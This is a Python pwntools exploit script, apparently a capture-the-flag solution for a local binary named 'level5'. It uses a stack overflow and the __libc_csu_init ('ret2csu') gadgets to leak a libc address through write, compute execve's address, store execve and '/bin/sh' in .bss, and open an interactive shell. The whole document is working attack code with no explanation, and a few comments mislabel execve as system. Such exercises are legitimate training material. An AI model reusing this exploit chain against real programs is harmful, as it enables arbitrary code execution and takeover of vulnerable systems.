from pwn import *

sh = process('./level5')
level5 = ELF('./level5')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')  # 加载自定义的 libc

write_got = level5.got['write']
read_got = level5.got['read']
libc_start_main_got = level5.got['__libc_start_main']
main_addr = level5.symbols['main']
bss_base = level5.bss()
gadget1 = 0x0000000000400600
gadget2 = 0x000000000040061A

def csu(rbx, rbp, r12, r13, r14, r15, last):
    # pop rbx,rbp,r12,r13,r14,r15
    # rbx should be 0,
    # rbp should be 1,enable not to jump
    # r12 should be the function we want to call
    # rdi=edi=r15d
    # rsi=r14
    # rdx=r13
    payload = b'a'*(0x80+8) + p64(gadget2) \
            + p64(rbx) \
            + p64(rbp) \
            + p64(r12) \
            + p64(r13) \
            + p64(r14) \
            + p64(r15) \
            + p64(gadget1) \
            + b'a'* 0x38 \
            + p64(last)
    sh.send(payload)

sh.recvuntil(b'Hello, World\n')
## write(1,write_got,8)
csu(0, 1, write_got, 8, libc_start_main_got, 1, main_addr)
libc_start_main_addr = u64(sh.recv(8))
libcbase = libc_start_main_addr - libc.symbols['__libc_start_main']  # 计算 libc 基地址
print("libc base:", hex(libcbase))
execve_addr = libcbase + libc.symbols['execve']  # 计算 system 的地址
## read(0,bss_base,16)
print("system addr:", hex(execve_addr))
sh.recvuntil(b'Hello, World\n')
csu(0, 1, read_got, 16, bss_base, 0, main_addr)
sh.send(p64(execve_addr) + b'/bin/sh\x00')

sh.recvuntil(b'Hello, World\n')
## system(bss_base+8)
csu(0, 1, bss_base, 0, 0, bss_base + 8, main_addr)
sh.interactive()